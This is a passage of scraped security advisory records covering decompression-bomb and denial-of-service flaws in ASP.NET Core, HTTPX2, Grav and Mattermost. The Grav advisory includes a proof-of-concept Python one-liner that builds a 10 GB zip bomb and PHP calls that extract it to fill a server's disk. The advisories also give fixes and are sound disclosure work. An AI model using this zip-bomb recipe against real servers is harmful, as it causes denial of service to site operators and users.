-------------------------\n[Microsoft.AspNetCore.Server.IISIntegration](https://www.nuget.org/packages/Microsoft.AspNetCore.Server.IISIntegration) | \u003e= 10.0.0, \u003c= 10.0.11 | 10.0.12\n\n### \u003ca name=\".NET 9\"\u003e\u003c/a\u003e.NET 9\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.AspNetCore.Server.IISIntegration](https://www.nuget.org/packages/Microsoft.AspNetCore.Server.IISIntegration) | \u003e= 9.0.0, \u003c= 9.0.19 | 9.0.20\n\n### \u003ca name=\".NET 8\"\u003e\u003c/a\u003e.NET 8\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.AspNetCore.Server.IISIntegration](https://www.nuget.org/packages/Microsoft.AspNetCore.Server.IISIntegration) | \u003e= 8.0.0, \u003c= 8.0.30 | 8.0.31\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf using a package listed in [affected packages](#affected-packages), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the `dotnet --info` command.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-69304](https://www.cve.org/CVERecord?id=CVE-2026-69304)\n\n### Acknowledgements\n\n\u0645\u062d\u0645\u062f \u0627\u0644\u0633\u064a\u062f \u0639\u062b\u0645\u0627\u0646 \u0645\u062d\u0645\u0648\u062f \u0627\u0644\u0642\u0635\u0627\u0635\n\nAnonymous\n\n### Revisions\n\nV1.0 (09/08/2026): Advisory published.",
  "id": "GHSA-8cp2-47hg-mfgh",
  "modified": "2026-09-09T16:04:11Z",
  "published": "2026-09-09T16:04:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/aspnetcore/security/advisories/GHSA-8cp2-47hg-mfgh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69304"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/aspnetcore"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft Security Advisory CVE-2026-69304 \u2013 ASP.NET Core Denial of Service Vulnerability"
}

GHSA-8XX6-HGC6-GC2M

Vulnerability from github – Published: 2026-09-08 20:48 – Updated: 2026-09-08 20:48
VLAI
Summary
HTTPX2: Streaming response decompression does not bound peak memory (decompression amplification)
Details

Summary

When decoding a compressed response body (gzip, deflate, br, or zstd), HTTPX2 fully decompressed each network read before yielding content to the application. A small compressed input could therefore cause a large intermediate memory allocation, even when the application streamed the response to keep memory usage bounded.

Details

HTTPX2's default transport reads the socket in pieces of up to 64 KiB. Before 2.12.0, each piece was inflated completely into one intermediate allocation before any decompressed bytes were yielded.

At DEFLATE's maximum compression ratio of roughly 1032:1, a 64 KiB compressed chunk can expand to about 64 MiB in one allocation. Brotli and Zstandard responses can cause similarly large amplification. Streaming the response did not prevent these transient allocations.

Impact

Applications that fetch resources from untrusted or attacker-influenced servers - such as webhook receivers, link unfurlers, crawlers, SSRF-reachable fetchers, and redirect followers - can experience memory pressure or out-of-memory termination when processing a malicious compressed response. No authentication or user interaction is required beyond issuing a request to the server.

Mitigation

Upgrade to HTTPX2 2.12.0 or later. Patched versions decompress responses incrementally with bounded intermediate buffers, including responses with multiple content encodings.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "httpx2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T20:48:59Z",
    "nvd_published_at": "2026-09-02T19:18:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen decoding a compressed response body (`gzip`, `deflate`, `br`, or `zstd`), HTTPX2 fully decompressed each network read before yielding content to the application. A small compressed input could therefore cause a large intermediate memory allocation, even when the application streamed the response to keep memory usage bounded.\n\n### Details\n\nHTTPX2\u0027s default transport reads the socket in pieces of up to 64 KiB. Before `2.12.0`, each piece was inflated completely into one intermediate allocation before any decompressed bytes were yielded.\n\nAt DEFLATE\u0027s maximum compression ratio of roughly 1032:1, a 64 KiB compressed chunk can expand to about 64 MiB in one allocation. Brotli and Zstandard responses can cause similarly large amplification. Streaming the response did not prevent these transient allocations.\n\n### Impact\n\nApplications that fetch resources from untrusted or attacker-influenced servers - such as webhook receivers, link unfurlers, crawlers, SSRF-reachable fetchers, and redirect followers - can experience memory pressure or out-of-memory termination when processing a malicious compressed response. No authentication or user interaction is required beyond issuing a request to the server.\n\n### Mitigation\n\nUpgrade to HTTPX2 `2.12.0` or later. Patched versions decompress responses incrementally with bounded intermediate buffers, including responses with multiple content encodings.",
  "id": "GHSA-8xx6-hgc6-gc2m",
  "modified": "2026-09-08T20:48:59Z",
  "published": "2026-09-08T20:48:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/httpx2/security/advisories/GHSA-8xx6-hgc6-gc2m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84382"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/httpx2/pull/1126"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/httpx2/commit/4fd0c70a3f207c618b145934792f791bccfb39f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pydantic/httpx2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/httpx2/releases/tag/v2.12.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HTTPX2: Streaming response decompression does not bound peak memory (decompression amplification)"
}

GHSA-928X-9MPW-8H56

Vulnerability from github – Published: 2026-09-02 21:35 – Updated: 2026-09-02 21:35
VLAI
Summary
Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits
Details

Summary

ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.


Details

Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:

public function extract($destination, ?callable $status = null)
{
    $zip = new ZipArchive();
    $archive = $zip->open($this->archive_file);

    if ($archive === true) {
        Folder::create($destination);

        // Only guards against Zip Slip (path traversal)
        for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
            $name = $zip->getNameIndex($i);
            if ($name !== false && !$this->isSafeEntryPath($name)) {
                $zip->close();
                throw new RuntimeException(...);
            }
        }

        // Extracts EVERYTHING — no size, count, or depth limit
        if (!$zip->extractTo($destination)) { ... }

        $zip->close();
        return $this;
    }
}

What's missing vs Installer::unZip():

Protection Installer::unZip() ZipArchiver::extract()
Zip Slip guard ✅ ✅
Max uncompressed size ✅ (1 GiB) ❌
Max file count ✅ (50000) ❌
Max nesting depth ✅ (48) ❌
Pre-extraction validation ✅ All entries validated first ❌ Extracts immediately

The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):

// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.
$limits = $this->archiveLimits();
$size = $count = $depth = 0;

for ($i = 0; $i < $numFiles; $i++) {
    $entryName = $zip->getNameIndex($i);
    // Check size, count, and depth BEFORE extracting anything
    if ($limits['maxSize'] > 0) { $size += $entry['size']; }
    if ($limits['maxDepth'] > 0) { ... }
    if ($limits['maxFiles'] > 0) { $count++; }
    // Reject if any limit exceeded
}
// Only now: $zip->extractTo($destination);

None of this validation exists in ZipArchiver::extract().

Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.


Proof of Concept

Step 1 - Create a zip bomb

# Create a 10 GB zip bomb (42 kB compressed)
python3 -c "
import zipfile, os
z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED)
zeros = b'\x00' * (1024 * 1024 * 1024)  # 1 GB of zeros
for i in range(10):
    z.writestr(f'file_{i}.txt', zeros)
z.close()
"
ls -lh /tmp/zipbomb.zip
# Output: 42K /tmp/zipbomb.zip  →  expands to 10 GB

Step 2 - Extract via ZipArchiver

$archiver = Archiver::create('zip');
$archiver->setArchive('/tmp/zipbomb.zip');
$archiver->extract('/tmp/extracted');  // ← no limits, fills disk

The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).


Impact

Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.


Remediation

Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():

public function extract($destination, ?callable $status = null)
{
    $zip = new ZipArchive();
    $archive = $zip->open($this->archive_file);

    if ($archive === true) {
        Folder::create($destination);

        // Apply the same archive limits as Installer::unZip()
        $limits = $this->archiveLimits();
        $totalSize = 0;
        $totalFiles = 0;

        for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
            $name = $zip->getNameIndex($i);
            if ($name === false) continue;

            // Zip Slip guard (existing)
            if (!$this->isSafeEntryPath($name)) {
                $zip->close();
                throw new RuntimeException(...);
            }

            // Decompression bomb guards (NEW)
            $stat = $zip->statIndex($i);
            $totalSize += $stat['size'] ?? 0;
            $totalFiles++;

            $depth = count(explode('/', trim($name, '/')));
            if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) {
                $zip->close();
                throw new RuntimeException('Archive exceeds max nesting depth');
            }
        }

        if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) {
            $zip->close();
            throw new RuntimeException('Archive exceeds max uncompressed size');
        }
        if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) {
            $zip->close();
            throw new RuntimeException('Archive exceeds max file count');
        }

        if (!$zip->extractTo($destination)) { ... }
        $zip->close();
        return $this;
    }
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T21:35:43Z",
    "nvd_published_at": "2026-08-19T16:18:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`ZipArchiver::extract()` lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.\n\n---\n\n## Details\n\n**Vulnerable code** - `system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58`:\n\n```php\npublic function extract($destination, ?callable $status = null)\n{\n    $zip = new ZipArchive();\n    $archive = $zip-\u003eopen($this-\u003earchive_file);\n\n    if ($archive === true) {\n        Folder::create($destination);\n\n        // Only guards against Zip Slip (path traversal)\n        for ($i = 0, $count = $zip-\u003ecount(); $i \u003c $count; $i++) {\n            $name = $zip-\u003egetNameIndex($i);\n            if ($name !== false \u0026\u0026 !$this-\u003eisSafeEntryPath($name)) {\n                $zip-\u003eclose();\n                throw new RuntimeException(...);\n            }\n        }\n\n        // Extracts EVERYTHING \u2014 no size, count, or depth limit\n        if (!$zip-\u003eextractTo($destination)) { ... }\n\n        $zip-\u003eclose();\n        return $this;\n    }\n}\n```\n\n**What\u0027s missing vs `Installer::unZip()`**:\n\n| Protection | `Installer::unZip()` | `ZipArchiver::extract()` |\n|-----------|---------------------|------------------------|\n| Zip Slip guard | \u2705 | \u2705 |\n| Max uncompressed size | \u2705 (1 GiB) | \u274c |\n| Max file count | \u2705 (50000) | \u274c |\n| Max nesting depth | \u2705 (48) | \u274c |\n| Pre-extraction validation | \u2705 All entries validated first | \u274c Extracts immediately |\n\n**The fix applied to Installer** (GHSA-2vcx, `Installer.php:178-269`):\n\n```php\n// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.\n$limits = $this-\u003earchiveLimits();\n$size = $count = $depth = 0;\n\nfor ($i = 0; $i \u003c $numFiles; $i++) {\n    $entryName = $zip-\u003egetNameIndex($i);\n    // Check size, count, and depth BEFORE extracting anything\n    if ($limits[\u0027maxSize\u0027] \u003e 0) { $size += $entry[\u0027size\u0027]; }\n    if ($limits[\u0027maxDepth\u0027] \u003e 0) { ... }\n    if ($limits[\u0027maxFiles\u0027] \u003e 0) { $count++; }\n    // Reject if any limit exceeded\n}\n// Only now: $zip-\u003eextractTo($destination);\n```\n\nNone of this validation exists in `ZipArchiver::extract()`.\n\n**Reachability**: `ZipArchiver::extract()` is a public method on a concrete class, accessible via the `Archiver::create(\u0027zip\u0027)` factory. While no first-party Grav code currently calls `extract()` on a `ZipArchiver` instance, third-party plugins and custom code that use the `Archiver` abstraction for ZIP restoration will walk directly into this unprotected path.\n\n---\n\n## Proof of Concept\n\n### Step 1 - Create a zip bomb\n\n```bash\n# Create a 10 GB zip bomb (42 kB compressed)\npython3 -c \"\nimport zipfile, os\nz = zipfile.ZipFile(\u0027/tmp/zipbomb.zip\u0027, \u0027w\u0027, zipfile.ZIP_DEFLATED)\nzeros = b\u0027\\x00\u0027 * (1024 * 1024 * 1024)  # 1 GB of zeros\nfor i in range(10):\n    z.writestr(f\u0027file_{i}.txt\u0027, zeros)\nz.close()\n\"\nls -lh /tmp/zipbomb.zip\n# Output: 42K /tmp/zipbomb.zip  \u2192  expands to 10 GB\n```\n\n### Step 2 - Extract via ZipArchiver\n\n```php\n$archiver = Archiver::create(\u0027zip\u0027);\n$archiver-\u003esetArchive(\u0027/tmp/zipbomb.zip\u0027);\n$archiver-\u003eextract(\u0027/tmp/extracted\u0027);  // \u2190 no limits, fills disk\n```\n\nThe server\u0027s disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).\n\n---\n\n## Impact\n\nAny code path that extracts a user-supplied ZIP archive through `ZipArchiver::extract()` will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.\n\n---\n\n## Remediation\n\nApply the same `archiveLimits()` validation from `Installer::unZip()` to `ZipArchiver::extract()`:\n\n```php\npublic function extract($destination, ?callable $status = null)\n{\n    $zip = new ZipArchive();\n    $archive = $zip-\u003eopen($this-\u003earchive_file);\n\n    if ($archive === true) {\n        Folder::create($destination);\n\n        // Apply the same archive limits as Installer::unZip()\n        $limits = $this-\u003earchiveLimits();\n        $totalSize = 0;\n        $totalFiles = 0;\n\n        for ($i = 0, $count = $zip-\u003ecount(); $i \u003c $count; $i++) {\n            $name = $zip-\u003egetNameIndex($i);\n            if ($name === false) continue;\n\n            // Zip Slip guard (existing)\n            if (!$this-\u003eisSafeEntryPath($name)) {\n                $zip-\u003eclose();\n                throw new RuntimeException(...);\n            }\n\n            // Decompression bomb guards (NEW)\n            $stat = $zip-\u003estatIndex($i);\n            $totalSize += $stat[\u0027size\u0027] ?? 0;\n            $totalFiles++;\n\n            $depth = count(explode(\u0027/\u0027, trim($name, \u0027/\u0027)));\n            if ($limits[\u0027maxDepth\u0027] \u003e 0 \u0026\u0026 $depth \u003e $limits[\u0027maxDepth\u0027]) {\n                $zip-\u003eclose();\n                throw new RuntimeException(\u0027Archive exceeds max nesting depth\u0027);\n            }\n        }\n\n        if ($limits[\u0027maxSize\u0027] \u003e 0 \u0026\u0026 $totalSize \u003e $limits[\u0027maxSize\u0027]) {\n            $zip-\u003eclose();\n            throw new RuntimeException(\u0027Archive exceeds max uncompressed size\u0027);\n        }\n        if ($limits[\u0027maxFiles\u0027] \u003e 0 \u0026\u0026 $totalFiles \u003e $limits[\u0027maxFiles\u0027]) {\n            $zip-\u003eclose();\n            throw new RuntimeException(\u0027Archive exceeds max file count\u0027);\n        }\n\n        if (!$zip-\u003eextractTo($destination)) { ... }\n        $zip-\u003eclose();\n        return $this;\n    }\n}\n```",
  "id": "GHSA-928x-9mpw-8h56",
  "modified": "2026-09-02T21:35:43Z",
  "published": "2026-09-02T21:35:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-928x-9mpw-8h56"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61690"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/1c1003cfcab5344203d6fde1aaa1f9a4ee3413ff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/releases/tag/2.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits"
}

GHSA-9C74-GJ4H-5458

Vulnerability from github – Published: 2026-09-14 12:31 – Updated: 2026-09-14 12:31
VLAI
Details

Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to limit size of unpacked SDP messages compressed with zlib, which allows attacker to deny service or crash server via sending many SDP messages that unpack to large size.. Mattermost Advisory ID: MMSA-2026-00643

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-14T11:17:04Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 11.9.x \u003c= 11.9.0, 11.8.x \u003c= 11.8.4, 11.7.x \u003c= 11.7.7, 10.11.x \u003c= 10.11.22 fail to limit size of unpacked SDP messages compressed with zlib, which allows attacker to deny service or crash server via sending many SDP messages that unpack to large size.. Mattermost Advisory ID: MMSA-2026-00643",
  "id": "GHSA-9c74-gj4h-5458",
  "modified": "2026-09-14T12:31:38Z",
  "published": "2026-09-14T12:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5132"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.